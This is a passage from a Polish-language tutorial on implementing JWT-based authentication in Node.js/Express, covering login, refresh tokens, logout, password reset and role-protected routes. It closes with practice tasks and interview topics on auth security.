if (!user.emailVerified) {
return res.status(403).json({ error: 'Please verify your email' });
}
// Generuj tokeny
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
REFRESH_SECRET,
{ expiresIn: '7d' }
);
// Ustaw refresh token w cookie
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000
});
res.json({ accessToken, user: { id: user.id, name: user.name, role: user.role } });
});
// Refresh token
app.post('/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const decoded = jwt.verify(refreshToken, REFRESH_SECRET);
// Sprawdź token version
const user = await User.findById(decoded.userId);
if (!user || user.tokenVersion !== decoded.tokenVersion) {
res.clearCookie('refreshToken');
return res.status(401).json({ error: 'Token revoked' });
}
// Nowy access token
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
ACCESS_SECRET,
{ expiresIn: '15m' }
);
res.json({ accessToken });
} catch (err) {
res.clearCookie('refreshToken');
return res.status(401).json({ error: 'Invalid refresh token' });
}
});
// Logout
app.post('/auth/logout', authenticate, async (req, res) => {
// Zwiększ token version - unieważnia wszystkie refresh tokeny
await User.findByIdAndUpdate(req.user.userId, {
$inc: { tokenVersion: 1 }
});
res.clearCookie('refreshToken');
res.json({ message: 'Logged out' });
});
// Logout everywhere
app.post('/auth/logout-all', authenticate, async (req, res) => {
await User.findByIdAndUpdate(req.user.userId, {
$inc: { tokenVersion: 1 }
});
res.clearCookie('refreshToken');
res.json({ message: 'Logged out from all devices' });
});
// Password reset request
app.post('/auth/forgot-password', async (req, res) => {
const { email } = req.body;
const user = await User.findOne({ email });
// Zawsze ta sama odpowiedź (anti-enumeration)
if (user) {
const resetToken = jwt.sign(
{ userId: user.id, type: 'password-reset' },
ACCESS_SECRET,
{ expiresIn: '1h' }
);
await sendPasswordResetEmail(user.email, resetToken);
}
res.json({ message: 'If email exists, reset link was sent' });
});
// Password reset
app.post('/auth/reset-password', async (req, res) => {
const { token, newPassword } = req.body;
try {
const decoded = jwt.verify(token, ACCESS_SECRET);
if (decoded.type !== 'password-reset') {
return res.status(400).json({ error: 'Invalid token type' });
}
const passwordHash = await bcrypt.hash(newPassword, 12);
await User.findByIdAndUpdate(decoded.userId, {
password: passwordHash,
$inc: { tokenVersion: 1 } // Unieważnij sesje
});
res.json({ message: 'Password updated' });
} catch (err) {
res.status(400).json({ error: 'Invalid or expired token' });
}
});
// Protected route example
app.get('/api/profile', authenticate, async (req, res) => {
const user = await User.findById(req.user.userId).select('-password');
res.json(user);
});
// Admin only route
app.get('/api/admin/users', authenticate, authorize('admin'), async (req, res) => {
const users = await User.find().select('-password');
res.json(users);
});
Zadania Praktyczne
1. Zaimplementuj kompletny auth flow
Wymagania:
- Rejestracja z weryfikacją email
- Login z rate limiting
- Access + refresh token rotation
- Password reset flow
- Logout z unieważnieniem tokenów
2. Dodaj OAuth login
Wymagania:
- Login with Google i GitHub
- Łączenie kont (Google + email tego samego usera)
- Obsługa edge cases (brak email od provider)
3. Zaimplementuj 2FA
Wymagania:
- TOTP setup z QR code
- Backup codes
- Remember device (skip 2FA na zaufanych urządzeniach)
- Recovery flow
4. Security audit
Przeanalizuj istniejący system auth pod kątem:
- Timing attacks
- Rate limiting
- User enumeration
- Token storage
- Password policies
- Session management
Podsumowanie
Authentication to krytyczny element każdej aplikacji. Na rozmowach rekrutacyjnych skup się na:
- Podstawy - authentication vs authorization, session vs token
- JWT - struktura, algorytmy, access vs refresh token
- Bezpieczeństwo - XSS, CSRF, token storage, rate limiting
- OAuth 2.0 - flows, kiedy który, PKCE
- Hashowanie haseł - bcrypt, Argon2, cost factor
- Implementacja - Passport.js, 2FA, password reset
Pamiętaj: bezpieczeństwo to nie feature, to fundamentalny wymóg. Jeden błąd w auth może skompromitować całą aplikację.